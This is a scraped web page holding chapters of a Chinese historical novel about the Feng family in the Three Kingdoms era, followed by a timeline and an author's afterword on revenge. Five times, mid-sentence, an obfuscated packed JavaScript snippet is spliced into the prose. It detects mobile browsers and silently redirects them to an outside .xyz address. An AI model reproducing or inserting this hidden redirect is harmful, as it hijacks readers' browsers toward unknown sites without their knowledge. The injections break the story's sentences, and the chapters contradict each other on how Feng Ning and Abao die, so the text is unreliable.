冯宁伤愈后,更致力于陇西建设。他推广汉羌通婚,促进民族融合;兴修水利,发展农业;设立学堂,教化百姓。 数年间,陇西成为汉魏边境最繁荣的地区。商旅往来,汉羌和睦,仿佛乱世中的桃源。 景耀元年,刘禅追封冯家三代。冯安追赠陇西侯,冯栋追赠忠烈将军,冯昭追赠武襄侯。 冯宁却上表辞封:“冯家所为,非为爵禄。若念微功,请免陇西三年赋税。” 刘禅准奏,陇西百姓感戴不已。 尔甲来看冯宁,见他与羌人头领共饮,汉羌百姓其乐融融,不禁感慨:“阿宝若能看到,该多好。” 冯宁望天微笑:“阿婆一定能看到。” 景耀五年,冯宁娶羌女为妻。婚礼按汉羌习俗举行,成为民族和睦的象征。 次年得子,取名冯安——与曾祖同名。 “愿这孩子一生平安,天下安宁。”冯宁对儿子说。 然而天下并未安宁。曹魏日渐强大,汉室日益衰微。 炎兴元年,魏军大举攻汉。冯宁率军驰援成都,但大势已去。 成都陷落前,冯宁护送刘禅之子刘谌突围:“殿下,留得青山在,不怕没柴烧。” 刘谌泣道:“将军为何不走?” 冯宁淡然一笑:“宁曾祖为守城死,宁父为护主亡。今日宁当效之。” 于是返身杀回成都,与姜维并肩死战。 最后时刻,他站在成都城头,遥望陇西方向:“阿婆,宁儿来了...” 乱箭穿身,壮烈殉国。 其子冯安被羌人义士救走,隐居陇西。后晋统一天下,冯安出仕,致力民族和睦,终老于陇西。 冯家的故事,至此告一段落。乱世忠烈,五代相传,只为一句“天下太平”的承诺。 而那只童谣,依旧在陇西传唱: “狗儿跳,那个猫儿闹,吾家小宝吃糖糕... 春风摇,那个柳叶俏,燕子点水绕... 秋风起,那个草黄了,门口霜雪要来到... 月亮照不到啊我的小阿宝... 忘也忘不了啊,我滴小阿宝...” 歌声悠悠,穿越时空,诉说着一个家族、一个时代、一个民族的苦难与坚守。 延熙九年的羌地,秋风萧瑟,帐外的羌笛声呜咽如泣。 我躺在病榻上,感觉生命正一点点从这苍老的躯壳中流逝。尔甲守在榻边,皱纹遍布的脸上老泪纵横。帐外传来急促的马蹄声,由远及近,最后戛然而止。 帐帘被猛地掀开,风尘仆仆的冯宁跌跌撞撞地冲进来,战袍上还带着征尘。 “阿婆!”他扑到榻前,紧紧握住我枯瘦的手,声音哽咽,“宁儿回来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530075|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...宁儿回来了...” 我努力聚焦目光,看着这个从小带大的孙儿。他已经长成英武少年,眉宇间既有昭儿的倔强,又有冯家特有的刚毅。我的宁儿,终于长大了。 “宁儿...”我气息微弱,每一个字都用尽力气,“阿婆...要走了...” 冯宁泣不成声:“阿婆别这么说!宁儿这就去找最好的医师!汉中、成都,宁儿一定能找到治好阿婆的人!” 我轻轻摇头,颤抖着从枕下取出一个油布包:“不必了...阿婆活得够久了...这个...给你...” 冯宁接过,打开一看,是两本已经泛黄的手稿——《陇西冯氏忠烈录》和冯氏族谱。那是我在这些年里,一字一句写下的冯家故事。 “这是...”他怔怔地看着。 “冯家的故事...”我喘息着,胸口如同风箱般沉重,“都在这里了...” 尔甲在一旁老泪纵横:“阿宝...还有什么心愿?我一定替你办到。” 我望向冯宁,努力聚集最后的气力:“宁儿...阿婆走后...你要...好好活着...” 冯宁紧紧握住我的手,那双手已经如他父亲一般宽厚有力:“阿婆放心!宁儿必光大门楣,为阿父报仇!为冯家雪恨!” 听到“报仇”二字,我心如刀绞。这孩儿,终究还是被仇恨蒙蔽了双眼。 我挣扎着又取出一封信:“这...给你...待阿婆走后...再看...” 冯宁接过信,泪如雨下:“阿婆...” 我轻抚他的面颊,就像小时候一样:“宁儿...记住...冯家...不是为了报仇而活...” 气息越来越弱,眼前的景象开始模糊。尔甲和冯宁的声音仿佛从很远的地方传来,帐内的火光渐渐黯淡。 就在意识即将消散之际,我看见一束温暖的光从帐顶洒下。光晕中,几个熟悉的身影缓缓显现。 “阿宝...”一个温柔的声音呼唤着,那是阿娘的声音。她站在光里,容颜依旧年轻美丽,穿着那件我最熟悉的靛蓝襦裙,微笑着向我伸出手。 “阿娘...”我喃喃道,泪水模糊了视线。 阿爹站在阿娘身旁,还是记忆中那个儒雅的书生模样,青衫磊落,目光慈爱。“阿宝,来。”他说,声音如春风般温暖。 阿兄站在他们身后,一身戎装,英姿飒爽。他左边眉梢的疤痕还在,但脸上带着我从未见过的释然笑容。他身旁站着阿嫂,温婉秀美,两人手挽着手。 更让我惊喜的是,昭儿也在那里。我的昭儿,穿着白袍银甲,面容安详,不再是临死前那痛苦的模样。他微笑着向我点头,眼中满是宽慰。 “阿宝,来啊。”阿娘又唤了一声,声音如歌谣般动听。 我感觉到自己的手被轻轻握住,低头一看,发现那双布满皱纹的枯手不知何时变得白皙娇小。我变回了那个七岁的小阿宝,穿着红肚兜,扎着两个小鬏。 阿兄蹲下身,捏捏我的脸蛋:“小阿宝,来吃糖糕了。”他手中端着一盘热气腾腾的糖糕,香甜的气息扑面而来。 我欢快地奔向亲人,每一步都轻快如飞。阿爹将我抱起,胡茬扎得我咯咯直笑。阿娘摸摸我的头,眼中满是慈爱。 “回家啦,小阿宝。”阿爹说。 我回头望去,看见帐内那个苍老的自己终于闭上了眼睛,嘴角带着安详的微笑。冯宁正伏在榻前痛哭,尔甲轻拍他的肩膀。 “宁儿会好好的。”昭儿轻声道,“阿婆放心。” 阿兄拉起我的手:“走吧,小阿宝,阿母蒸了好多糖糕,就等你了。” 我最后望了一眼人间,然后毫不犹豫地转身,牵着阿父阿母的手,向着光晕深处走去。阿兄在一旁逗我:“小阿宝,再不来糖糕可就被我吃光啦!” “坏阿兄!给我留点!”我蹦蹦跳跳地去追他,又变回了那个无忧无虑的小阿宝。 光晕渐渐合拢,亲人们的笑声萦绕耳畔。远处传来那首熟悉的歌谣: “狗儿跳,那个猫儿闹,吾家小宝吃糖糕... 春风摇,那个柳叶俏,燕子点水绕...” 我终于回家了。 帐内,冯宁伏在已经冰冷的身体上痛哭失声。尔甲默默垂泪,轻轻为阿宝合上双眼。 许久,冯宁才想起那封信。他颤抖着拆开,读着读着,泪如雨下。 信纸上,阿宝工整的字迹娓娓道来冯家三代的故事,最后写道: “宁儿吾孙: ......阿婆一生飘零,见过太多苦难。最大的心愿,就是有朝一日,天下再无战乱,百姓不再逃亡,孩子们都能在父母身边平安长大。宁儿,替阿婆看看那样的太平盛世,可好?最后,记住阿婆的话:放下仇恨,拾起慈悲。杀人易,救人难;破坏易,建设难。愿我的宁儿,能成为建设者,而非破坏者。阿婆绝笔” 冯宁将信紧紧抱在胸前,望向帐外辽阔的天地,仿佛看见阿婆正对他微笑。 秋风拂过,带来远处孩童歌唱的声音: “月亮照不到啊我的小阿宝... 忘也忘不了啊,我滴小阿宝...” 歌声悠悠,穿越时空,永远回荡在陇西的山水之间。 18. 昭儿:霜刃歌 建兴七年的秋天,五丈原的风里已经带了刀锋的寒意。 我跪在丞相病榻前,看着他枯瘦的手紧紧攥着北伐的地图,直到最后一刻都不肯松开。营帐外,汉军的旗帜在风中猎猎作响,三十万将士的呼吸沉重如雷。 “冯昭...”丞相的声音轻得几乎听不见,“过来。” 我膝行上前,将耳朵凑到他唇边。 “北伐...继续...”他每说一个字都艰难万分,“但莫学丞相...要学你姑姑...救人...而非杀人...” 我哽咽难言:“末将...明白。” “告诉你姑姑...”丞相的目光开始涣散,“诸葛...愧对先帝...愧对...” 话未说完,手已垂下。地图飘落在地,如同折翼的孤雁。 帐外传来压抑的哭声。三十万汉军,顷刻间失了主帅。 我拾起地图,仔细叠好,放入怀中。丞相,您未竟的事业,冯昭替您完成。 我是冯昭,本名冯桓。父亲冯栋是曹操麾下将领,因谏阻屠城而被杀。母亲周氏带着我东躲西藏,最后在姑姑冯阿宝的庇护下,隐姓埋名改为李昭。 记得第一次见姑姑,是在成都的医馆里。她看着我的眼神,像是透过我在看另一个人。后来才知道,那是在看我父亲——她最亲爱的阿兄。 “昭儿,来。”姑姑常把我搂在怀里,指着北方,“那边是陇西,是咱们的故乡。” 她给我讲祖父冯安的故事,讲他如何为保护百姓而死。讲父亲冯栋的故事,讲他如何死谏曹操。讲冯家三代忠烈,不是为了功名利禄,而是为了天下苍生。 但我心中只有仇恨。曹贼杀我祖父,害我父亲,逼得我们隐姓埋名。此仇不报,枉为人子! 于是我苦练武艺,尤其是冯家祖传的枪法。十七岁投军,十九岁成为牙门将,二十二岁受封亭侯。每战必冲锋在前,状若疯狂。同袍称我“小白袍”,魏军闻风丧胆。 但姑姑总是忧虑:“昭儿,杀气太重。武艺是用来保护人的,不是杀人的。” 我不以为然。乱世之中,唯有以杀止杀。 直到丞相临终那番话,如当头棒喝。 丞相薨后,汉军撤退。我主动请缨断后。 渭水岸边,魏军如潮水般涌来。我白银枪所指,血雨纷飞。 “将军!快走!”亲兵拉着我的马缰,“大军已安全撤退!” 我望了一眼远去的汉军旗帜,正要拨马,突然一支冷箭射来,正中马眼。战马惊厥,将我掀落在地。 魏军一拥而上。我挥枪死战,但终究寡不敌众。 被缚时,我仰天大笑:“冯昭今日死得其所!” 被押往洛阳的路上,我一直在想姑姑的话。想起她教我医术时说的:“救人一命,胜造七级浮屠。” 可惜,我终究选择了杀人。 洛阳天牢,阴暗潮湿。狱卒倒是客气:“李将军,陛下惜才,若肯归降,必得重用。” 我冷笑:“世上早已没有李昭,只有冯昭。冯家子孙,宁死不降曹贼!” 三日後,曹丕亲自来牢中劝降。 他穿着龙袍,却掩不住眉宇间的阴鸷。曹操的儿子,果然一副奸雄相。 “冯昭?”曹丕挑眉,“可是冯栋之子?” 我昂首不答。 “你父当年若肯顺从,何至于死。”曹丕叹息,“朕惜你才华,若肯归顺,必不亏待。” 我放声大笑:“曹丕!你父子篡汉自立,天人共愤!冯家世代忠良,岂会与逆贼为伍!” 曹丕面色渐冷:“朕给你三天时间考虑。” 三天里,我在地牢墙上刻下冯家族谱。从曾祖冯安,到祖父冯安,到父亲冯栋,再到我冯昭。 刻到儿子冯宁的名字时,我的手颤抖了。宁儿,阿父不能再陪你了。 第三天,曹丕再来时,我正刻完最后一个字。 “想清楚了?”他问。 我转身,朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530076|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“冯昭生为汉臣,死为汉鬼!” 曹丕怒极反笑:“好!好个忠烈之后!那朕就成全你!” 刑场设在洛阳闹市。百姓围得水泄不通。 刽子手亮出凌迟刀时,人群中传来惊呼。 我昂首站立,忽然想起姑姑哼的歌谣:“春风摇,那个柳叶俏...” 曹丕坐在高台上,冷声道:“最后给你一次机会。” 我放声大笑,笑声震彻刑场:“曹丕!你听好了!” “你父曹操,名为汉相,实为汉贼!弑皇后,屠皇子,罄竹难书!” “你曹丕,篡汉自立,天地不容!” “我冯家三代忠烈,今日虽死,犹为汉鬼!” “他日汉室复兴,必有人取你曹氏首级,祭我汉室列祖列宗!” 曹丕脸色铁青:“行刑!” 第一刀落下时,我继续痛骂:“曹贼!我在九泉之下等你!看你曹氏如何覆灭!” 刀锋一片片割下血肉,我咬碎牙关,骂声不绝: “苍天在上!厚土在下!冯昭今日血溅刑场,以明志节!” “汉室必兴!曹贼必亡!” 血模糊了双眼,我仿佛看见姑姑在对我微笑。看见丞相在点头赞许。看见父亲和祖父向我伸出手。 最后一丝气力用尽前,我用尽全身力气呐喊: “冯昭——无愧汉土——” “无愧——冯家——” 声音渐弱,意识涣散。 恍惚间,我好像回到了陇西老家。姑姑蒸好了糖糕,阿父在院中练枪,阿母笑着招手: “昭儿,回家吃饭了。” 我微笑着闭上眼睛。 终于,可以回家了。 后来听说,我死的那天,洛阳下了场红雨。百姓暗中传唱:“冯家郎,铁骨铮,骂曹贼,震洛城。” 而我的宁儿,在羌地健康成长。姑姑,丞相,阿父阿母... 昭儿,没有辜负你们的期望。 寒刃加身浑不怕,留得忠魂守汉疆。他日汉旗重展处,必是曹贼灭亡时! ——冯昭绝笔 19. 冯宁:陇西雪 景耀六年的第一场雪,落在陇西城的残垣断壁上。 我站在城头,看着雪花飘落在战死的将士们身上,渐渐覆盖了那些狰狞的伤口。血水融化了雪花,又在严寒中凝结成红色的冰。这场景,像极了阿婆曾经说过的——建安十三年的渭南,曾祖父冯安战死的那一天。 “将军,撤吧。”副将的声音嘶哑,“城内粮草已尽,援军...不会来了。” 我没有回头,只是望着远处魏军的连营。曹真的旗帜在风雪中猎猎作响,像一头蛰伏的巨兽。 “让百姓先从密道撤。”我解下佩剑,“你带一队人护送。” 副将愕然:“那将军您?” 我笑了笑:“冯家人,从来不会弃城而逃。” 我是冯宁,冯昭之子。但从记事起,大家都叫我李宁。 小时候,我常做同一个梦:一个白袍将军被绑在刑架上,浑身是血,却昂首怒骂。每次惊醒,阿婆都会把我搂在怀里,哼着那首古老的歌谣: “狗儿跳,那个猫儿闹,吾家小宝吃糖糕...” 七岁那年,尔甲阿爷酒后失言,我才知道梦里那个白袍将军就是我的生父冯昭——被曹丕凌迟处死的汉将。 那晚,我偷了阿婆的匕首,对着北方发誓:“必取曹贼首级,祭奠阿父!” 阿婆发现后,没有责骂,只是流泪。第二天,她开始教我冯家枪法。 “宁儿,冯家枪不是用来报仇的。”阿婆握着我的手,一招一式地教,“是用来守护的。” 我不懂。在我心里,武艺只有一个用途——杀人。 十岁那年,魏国细作找到了我们。阿婆为保护我,服毒自尽。 临终前,她把我叫到榻前,递给我一封信:“宁儿...待阿婆走后...再看...” 那封信,我读了一遍又一遍。阿婆用工整的小楷,写下了冯家三代的故事: 曾祖冯安,为护百姓战死狄道。祖父冯栋,死谏曹操反对屠城。父亲冯昭,为断后力战被俘,骂贼而死。 信的末尾,阿婆写道: “宁儿,真正的忠义不是报仇,是守护。冯家五代忠烈,为的不是私仇,是天下苍生。” 我抱着信哭了一夜。第二天,我把匕首埋在了阿婆坟前。 十二岁,我随姜维将军北伐。第一次上战场,我杀红了眼,单骑冲入敌阵,直取魏将首级。 庆功宴上,姜维将军却皱眉:“宁儿,勇则勇矣,然杀气太重。” 我不服:“对魏贼,何必留情?” 深夜,姜维将军把我叫到帐中:“可知你父亲最后说了什么?” 我摇头。 “他在刑场上喊:‘冯昭可死,汉室不可亡!’”将军目光如炬,“他要的是汉室复兴,不是冯家报仇。” 那夜,我久久无眠。 十八岁,我奉命镇守陇西。这座曾祖父战死、父亲成长的城池,满目疮痍。 第一天巡城,就看到魏军骚扰边境村庄。我率军出击,全歼敌军。回城时,却看见一个老妇人抱着儿子的尸体痛哭。 “为什么...为什么要打仗...”她嘶哑的哭声刺痛了我的耳膜。 那一刻,我忽然明白了阿婆的话。 从此,我变了。每战必先劝降,网开一面。轻徭薄赋,鼓励农耕。汉羌通婚,促进和睦。 同僚笑我“妇人之仁”,我却想起父亲最后的选择——他本可突围,却选择断后。 直到今天。 曹真十万大军围城,城内粮草已尽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530077|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “将军!百姓都已撤离!”副将去而复返,“您快走吧!” 我摇头:“你带兄弟们走。” “将军!” 我指着城外:“看到那些村庄了吗?若我们逃走,魏军铁蹄所至,鸡犬不留。” 副将跪地痛哭。 我扶起他:“告诉宁儿...不,告诉我儿子冯安:好好活着,但不必报仇。” 雪越下越大。我独自站在城头,白银枪在风雪中泛着寒光。 父亲,您当年就是这样死守孤城的吗? 魏军开始攻城。我大喝一声,银枪如龙。 血染白袍,分不清是敌人的还是自己的。每一次挥枪,都想起阿婆的话:“冯家枪,是用来守护的。” 力竭之时,我面向成都方向,缓缓跪下。 “丞相...宁儿...尽力了...” “阿婆...父亲...宁儿来了...” 最后一眼,看见雪花飘落在银枪上,像极了许多年前,陇西老家院里的那棵梨花树。 恍惚间,仿佛听见阿婆在哼歌: “春风摇,那个柳叶俏...” 还有父亲的声音:“宁儿,来吃糖糕...” 我微笑着闭上眼睛。 建兴七年的梨花,终于落在了景耀六年的雪地上。 后来听说,魏军入城后,发现冯宁将军虽死犹立,银枪拄地,面向南方。陇西百姓偷偷建庙祭祀,称“银枪将军庙”。而他的儿子冯安,终身未再提起“报仇”二字。只是在每个清明,都会在坟前放一盘糖糕。一如当年,陇西冯家的小院里。那个再平常不过的午后。 寒枪守得陇西雪,不教胡马度边关。谁言忠烈空留恨?千秋犹唱冯家郎。 ——陇西民谣·银枪将军歌 20. 明月照阿宝历史时间轴说明 故事开篇 建宁三年(公元170年) ·东汉灵帝在位,宦官专权 ·凉州羌乱持续不断,朝廷派段颎平定 ·此时曹操16岁,在家乡谯县读书习武 ·刘备9岁,与母亲织席贩履为生 ·孙权尚未出生(生于182年) 重大转折点 中平元年(公元184年) ·黄巾起义爆发,天下大乱 ·朝廷解除党锢,号召各地豪强组织武装镇压 ·刘备组织义军,与关羽、张飞桃园结义(演义说法) ·曹操任骑都尉,参与镇压黄巾军 ·孙坚时任下邳丞,也率军镇压黄巾 ·小说中阿宝10岁,家乡遭羌乱波及,开始逃亡 初平元年(公元190年) ·董卓废少帝,立献帝,专权乱政 ·关东诸侯推袁绍为盟主,讨伐董卓 ·曹操发起讨董檄文,成为奋武将军 ·孙坚参与讨董,攻入洛阳 ·刘备时任平原相,势力尚弱 ·小说中阿宝16岁,在逃亡中与家人失散 建安元年(公元196年) ·曹操迎献帝于许昌,开始"挟天子以令诸侯" ·吕布袭取徐州,刘备投奔曹操 ·孙策脱离袁术,开始平定江东 ·小说中阿宝22岁,在羌地学习医术,开始寻找兄长 中期发展 建安五年(公元200年) ·官渡之战,曹操大败袁绍 ·孙策遇刺身亡,孙权继位 ·刘备在徐州被曹操击败,投奔袁绍 ·关羽暂降曹操,斩颜良诛文丑 ·小说中阿宝26岁,得知兄长在曹营的消息 建安十三年(公元208年) ·曹操南征,刘琮降曹 ·赤壁之战,孙刘联军大败曹操 ·刘备借荆州,开始有了立足之地 ·小说中阿宝34岁,在成都行医,照顾昭儿 后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530078|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期情节 建安二十五年(公元220年) ·曹操去世,曹丕继位 ·曹丕篡汉自立,建立魏国,东汉灭亡 ·刘备在成都称帝,建立蜀汉 ·孙权向魏称臣,受封吴王 ·小说中阿宝46岁,昭儿被曹丕杀害 章武三年(公元223年) ·刘备病逝白帝城,托孤诸葛亮 ·刘禅继位,诸葛亮辅政 ·孙权断绝与魏关系,自立年号 ·小说中阿宝49岁,抚养冯宁长大 尾声时期 建兴十二年(公元234年) ·诸葛亮第五次北伐,病逝五丈原 ·魏国司马懿势力逐渐壮大 ·吴国孙权称帝,建立东吴 ·小说中阿宝60岁,在羌地去世 景耀六年(公元263年) ·魏将邓艾偷渡阴平,蜀汉灭亡 ·小说中冯宁为守陇西战死 ·此时距阿宝去世已29年 21. 关于报仇的思考 关于“报仇”的思考 在创作《明月照阿宝》的过程中,我一直在思考一个问题:在乱世之中,当至亲惨遭杀害,什么样的“报仇”才是真正有意义的? 仇恨的轮回 初看冯家三代人的命运,似乎就是一个仇恨的循环: ·冯安被羌人所杀 →冯栋从军 ·冯栋被曹操所害 →冯昭立志报仇 ·冯昭被曹丕凌迟 →冯宁誓言雪恨 若按照这个逻辑,故事很可能会走向“以暴易暴”的复仇叙事。但这不是我想表达的。 冯家的真正遗产 在梳理冯家三代人的选择时,我发现了一个共同点: 冯安在城破时,选择的是“为护百姓撤退而死”,而不是与敌人同归于尽。 冯栋在曹操麾下时,多次谏阻屠城,最终因“反对滥杀无辜”而被害。 冯昭在刑场上,高喊的是“汉室不可亡”,而不是“冯家仇必报”。 他们虽然都死于非命,但都是为了守护他人而牺牲,而非单纯为了复仇。 阿宝的领悟 阿宝作为这个家族的见证者,最早领悟到这个道理。她经历过家人惨死的痛苦,目睹过无数复仇带来的新悲剧。所以她告诫冯宁: “真正的忠义不是报仇,是守护。冯家五代忠烈,为的不是私仇,是天下苍生。” 这句话背后,是她用一生苦难换来的智慧。 从复仇到守护的转变 冯宁的成长过程,正是这种理念的体现: 最初,他只想“取曹贼首级,祭奠阿父”——这是最本能的复仇冲动。 后来,他在战场上发现:每杀一个“仇敌”,就可能多制造一个像自己这样的孤儿。 最终,他选择守护陇西百姓,甚至为保护百姓而战死——这才是对亲人最好的告慰。 历史的启示 回顾三国历史,我们会发现一个深刻的现象: 那些为私仇而战的人,往往不得善终(如吕布、袁术)。 而那些心怀天下的人,即便失败也名垂青史(如诸葛亮、关羽)。 这不是说不应该惩恶扬善,而是说:个人的仇恨应该让位于更大的道义。 现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530079|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代思考 虽然故事发生在1800年前,但这个主题在今天依然有意义。 我们每个人都会遭遇不公和伤害,都会有愤怒和仇恨的时刻。但重要的是如何转化这种情绪: 是将仇恨发泄在报复上,循环往复?还是将痛苦转化为建设性的力量,让世界因为我们的存在而变得更好一些? 冯家人的选择给了我们一种答案:真正的报仇,不是杀死仇敌,而是让仇敌无法摧毁我们心中的善;不是以牙还牙,而是继承亲人的遗志,完成他们未竟的事业。 所以,当冯宁最终为守护百姓而战时,他其实是在进行最彻底的“报仇”——他用行动告诉杀害他亲人的曹魏政权:你们可以杀死冯家的人,但永远无法摧毁冯家的精神。 这或许就是为什么,千百年后,我们依然会被这样的故事打动。因为真正能够穿越时空的,从来不是仇恨,而是爱与守护。 感谢各位读者陪伴阿宝和冯家走过这段艰难的旅程。希望这个故事不仅让你落泪,更能让你思考:在这个并不完美的世界上,我们该如何活着,如何记住,如何继续前行。